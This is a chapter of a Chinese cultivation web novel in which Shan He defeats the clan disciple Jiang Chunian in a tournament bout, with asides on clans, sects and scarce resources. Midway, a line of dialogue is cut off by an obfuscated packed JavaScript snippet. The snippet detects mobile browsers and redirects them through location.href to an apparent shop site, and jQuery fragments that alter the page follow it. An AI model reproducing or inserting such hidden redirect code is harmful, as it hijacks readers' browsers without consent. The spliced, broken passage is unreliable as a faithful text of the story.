45. 更气了
作品:《“核善”修真模拟器》 “第二场比试,正式开始!”
灵火从风语年的指尖燃起,看着慢悠悠的,实则一瞬间洞穿了周围的空间,不到一个眨眼的功夫,就落到了隔着大半个赛场的香炉上。
擂台被缩减到了六个,围观的人群也因此更靠近比试的场地。
出于对单禾这个首席的好奇,很多人都选择来围观她的第二场比试。
她们都很好奇——寒门首席与世家弟子的第二场交锋,究竟谁胜谁负?
确切地说,这应该是单禾与孟长青等人的第三次交锋。
只不过第二次发生在他们无知无觉的时候,也不是正面交锋。
再加上孟长青等人去找幻如烟的时候,行踪并不透明,明面上也就没有多少人讨论。
而今,来历成谜的单禾又一次对上孟长青团队中的武力担当——江楚年,再加上不久前双方那场说小不小的口角。
倒还真的让人期待起结果来。
台下人的期待无关紧要,对于江楚年来说,这场比试的意义却是非凡的。
五世家虽然也有进入中州大比的名额,但名额稀少且珍贵,只能优先给家族的核心子弟使用。
他们这些人,虽然被造势成家族中的天才和代言人,却并不是最最顶尖的那一群。
最最顶尖的那些自有家中长老保驾护航,在一整个家族资源的供养下,他们的实力不输各大门派从民间或一些小世家网罗来的天才。
因此,也就没有必要到外面来争夺资源,除了必要的试炼之外,她们在成年之前根本就不显声名,周围还时常有家族中的长老庇佑。
可以说,他们只要会修炼,只要能提升修为,就可以不用考虑别的事情。
上清宗这类宗门的确有底蕴,可世家也自有底气。
同样是绵延上千年的存在,后者并不觉得自己培育天才的能力不如宗门,甚至因为资源的集中,能培养出更优秀的天才。
换言之,濛苍界的宗门更像是凡间的普通学堂,对顶尖的弟子会倾斜资源,对一般的弟子也不会轻易忽视,反而鼓励他们找到自己的道路。
世家的培养则更像是养蛊,只要养出最强大的一个或者几个,剩下的全部都要被当作陪衬,要么以实力辅佐被选中之人,要么被当作资源被置换出去。
前者更注重自由发展,后者更注重因利势导。
江楚年,或者说孟长青等人在家族中都处于类似的位置,他们都是嫡系子弟,但不是最早出生的,也不是天赋最出众的。
比他们出生更早,天赋更出众一些的人已经被选中成为继承人,早早培养起来。
他们这些同样有天赋却因为年岁更小而失去一些机会的人,如果要在家族中取得更高的成就,要么是向继承人投诚,要么就是向外寻找机会。
在世家中,血缘亲情是存在的,但不是最重要的。
无论他们怎么选择,世家都会愿意在背后兜底,因为在血脉关系的维护下,世家子弟与世家之间的关系天然就更亲密一些。
但这个兜底也不是无限制的。
比如,江楚年无人本就是奔着这一次中州大比的名额来的。
如果不能在宗门大比中进入前七乃至更高的名次,进而获得中州大比的名额,世家在他们身上的投注就会逐渐减少。
在修真界里,资源重要吗?
这个问题是不言而喻的。
如果不重要的话,世家就不会抱成一棵树不断扩展着自己的枝蔓。
如果不重要的话,出了家族或宗门以后,就修真界不会出现那么多杀人夺宝的恶性事件。
资源没有办法让一个修者一口气吃成大胖子,可没有资源的支持,哪怕是天才,也不是没有泯然众人的可能。
即便不问出身的上清宗出现了,很多秉承着有教无类观点的宗门出现了。
这些宗门也依旧不能解决问题。
有修仙天赋的人不多,却也不少,资源却只有那么些,甚至由于某种原因,已经远远比不上远古时期。
而越是资源稀缺的时候,资源的分配权就越重要。
修真界各大势力的地位,其实从中州大比的名额分配上就能看得出来。
无论如何,上清宗的地位是超然的,它能获得的资源也是最多的。
既然上清宗的资源多,且不论出身,世家自然不会放过这么大一块香饽饽。
不仅是上清宗,其他有名额的门派,各个世家及其他势力也有派弟子前往各大门派拜师学艺的。
只不过有些人像江楚年和孟长青几人一样是明牌,有些人却是隐瞒身份前往罢了。
上清宗与其他宗门不知道这样的情况吗?
不可能。
但它们唯一能做的就是把控弟子的来源和品质,尽可能从四面八方招徕弟子。
可以说,来历不明的单禾、出身寻常的荆小满,还有靠自己的努力和天赋在不记名弟子中也大放异彩的吴绻和英招,乃至于家世并不一般但与修仙界牵连不多的宋常欢……
这些不拘一格的弟子都是上清宗的长老们从凡世间费力搜罗来的。
出身不同的人看到的世界与她们应对这个世界的方法都是不一样的。
所以宗门要留下更多的可能,而不是任由世家一家独大。
在灵力日益衰微,大难即将来临的时候,可以说,上清宗等宗门在仙门传承这一条路上已经尽了自己最大的努力。
至于为什么不推广仙家手段——灵力日益枯竭无法让所有人都如愿是一方面。
另一方面,越多的人知道真相,那股隐藏在暗处的力量就会越强大,仙门不能去冒那个险。
而从江楚年的视角来看,在得知自己的对手是单禾的时候,他的心理无疑是复杂的。
江楚年还记得初见的时候,单禾无力地躲在一旁说着胡话的场面,也记得对方反手就坑了他们一手的交集,还有之后很多个震撼的时刻。
但真正看见单禾拿着玄色的长棍站在自己对面,脸上满是从容而自信的模样,他还是觉得很恍然。
就好像……自己以前根本看不上的蚂蚁摇身一变,变成了一个天赋实力样样比自己出色的人,还正好挡在了他前行的必经之路上。
太奇怪了。
真的太奇怪了。
江楚年根本无法形容自己的想法,他甚至希望单禾是真的怕了,真的没有来,这一切都是一场梦,而不是看见对方作为自己的对手,与自己面对面站着,针锋相对的场面。
“喂——你还打不打了,不打的话,就别站在这里当桩子了,看着怪让人难受的。”
单禾并不是做心理师的料子,也没有要给江楚年开导心理的想法。
她很不喜欢江楚年的眼神,活像是见了鬼一样。
可单禾只不过是靠着自己的努力从一个被对方轻视的位置,走到了对方不得不仰望的位置。
仅此而已。
她有能力往上,她可以往上,所以她去了,发现高台上的风景还不错,于是准备继续向上。
然而原本在台上看着她的江楚年却嫌她走得太快了,太高了,让自己不舒服了。
现在对方却因为这种微妙的心理落差,在众目睽睽之下上演着一出眼神大戏。
不知道的,还真以为双方有什么牵扯呢。
单禾墨绿色的眼眸直直地望向江楚年,深色的湖泊就像是一面再清透不过的镜子,里面照出了江楚年真实而丑陋的模样。
他一直不愿意接受的自己平庸而狂妄的模样。
“哈。”
江楚年意味不明地冷笑一声。
望向单禾的眼神带着某种愤恨而恼怒的意味,开口时接近于阴阳怪气的状态:
“比!当然要比,也得让我看看,我们的首席究竟是什么实力!”
“……”
喜怒无常,又不知道在发什么疯,万一被传染了可不好。
单禾简直懒得回应对面。
要不是为了那一点点形象管理的想法,她甚至想直接给对面一个白眼。
江楚年却并不在意单禾的反应,或者说,她根本不在乎单禾回不回应,又或者对方回应了什么。
他只在乎一件事,他要赢!必须要赢!
“听闻你有一套惊潮棍法,恰好,我这里有一套燎原枪法,正好向你讨巧一番。”
江楚年自顾自地说着,浅红色的火灵力顺着呼吸蔓延上他身侧那柄锋利无比的红缨枪,使周围的空气带上了躁动的气息。
水火相克,他不信自己的燎原枪法会不如单禾所学的一套名不见经传的惊潮棍法。
但单禾并不想顺着江楚年的想法来:“不必。既然你要使燎原枪法,不如就来试试我的烈阳棍法。刚好,我也想看看,究竟是你的火焰更灼热,还是我的火焰更耀眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409623|198017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
星火燎原和烈阳焚天,究竟谁能更胜一筹?
台下观众迫切地想知道结果,单禾却全身心地沉浸到了战斗中。
相比于惊潮棍法,烈阳棍法更注重攻击的迅疾以及给敌人的威慑。
如果说惊潮是连绵的浪花层叠而起,烈阳讲究的就是像烈日一样,在棍意达到顶端的时候极致输出,更偏向于主动出击和灼热到极致的一瞬间的攻击。
黑白的灵力运转棍身,伴随着呼吸的节奏,生灭之力牵引着周围所有的亮色——最耀眼和最极致的烈阳,并非只有简单的灼热,还有更刺眼的光芒。
而烈日落下的时候,也并非只是从一个方向,而是从四面八方接连坠落,给人以全方位的震慑。
太微步运转,玄妙的光灵从单禾手中的棍中被狠狠挥出,混合着巨大光和热的光影绕着江楚年转了九次,在江楚年的枪法尚未燎原时齐齐落下。
几个呼吸的功夫,又好像过了很长很长的时间。
刺眼的白光吞噬了摇曳的橙光。
每一次枪法的阻挡和攻击都被拦下,燎原的火被打碎成零星的光点,又被从天而降的烈日彻底吞噬。
“轰!”
几声巨响之后,灵力消耗大半的单禾只是站在擂台的衣角静静喘息,尽管脸上带着些狼狈,墨绿色的目光却依然清亮。
她还有一战之力。
江楚年却已经半跪在擂台上,握着红缨枪的手微微颤抖,嘴里蓦然吐出一口血来。
“噗——”
鲜红的血未能遮掩他周身擂台的焦黑,枪上的红缨被火焰烧掉半截,而他整个人的气息更是萎靡不振。
同样是玩火的,甚至单禾的火还不能算是纯正的火元素,而只是一种模拟,江楚年却在自己最擅长的方面输给了单禾。
这不能不算是一种巨大的打击。
至少比纯粹的输赢更让他觉得受挫。
“你为什么……不用……惊潮?”
江楚年喉间鲜血上涌,伤势不轻的他脸色难看到了一种程度,他却不管不顾,只是执着地想要一个答案。
如果是惊潮棍法的话,他或许还能骗自己说只是招式上的差距,属性相克而已,他的灵力本就稍逊一些,输了……也还是可以接受的。
“我为什么要用惊潮棍法?我又不是只会惊潮,招式学了,难道不就是出来用的吗?”
单禾却没有顺着他的意思来。
是啊,她又不是只会惊潮。
江楚年一直以来接受的教育都是家族的功法才是最上乘的,才是最出色的。
所以在学宫的这一段时间,他虽然也有跟着长老们学些其他招式,心中却是不屑于这些手段的。
燎原枪法,江家最出色的枪法,这才是他练习的重点,也应该是他专注的重点。
他一直是这样告诉自己的。
现在好了,他失败了,江家时代传承的燎原枪法,居然还比不过一个名不见经传的棍法。
江楚年简直想笑,笑自己,也笑江家。
“……”
江楚年似哭似笑的表情配合上吐血后的情状,旁的不说,看上去还真像是走火入魔了。
同学一场,为了防止伤到江楚年的道心。
更重要的是,以防自己卷入什么莫名其妙的因果里,单禾还是叹了口气,将自己的底揭了一点出来。
“硬要说的话,烈阳和惊潮都属于两仪棍法的范畴,只是我还没修炼到家,只能掌握到这个程度!”
两仪棍法,这倒是修真界公开的棍法里排得上前二的存在了。
比起燎原枪法来只好不差,这下,江楚年应该不会再是那副破碎的样子了吧。
单禾过了好几个呼吸才转头去看江楚年那张令人烦躁的脸,却没想到,她转头的瞬间,江楚年居然同时栽倒在了擂台上。
手中长枪也轰然倒地。
单禾:……
单禾一个飞身避开了对方五体投地的姿势,心里却忍不住骂骂咧咧:祖宗,都是祖宗!
“4号擂台,单禾胜!”
风语年宣布了比试结果,而随着其他人陆陆续续比完,单禾下一场的对手也揭开了神秘的面纱。
不巧,正是荆小满这个自己人。
而江楚年所在的五人团中唯一的出线者孟长青,好巧不巧地抽中了轮空牌。
单禾:更气了!

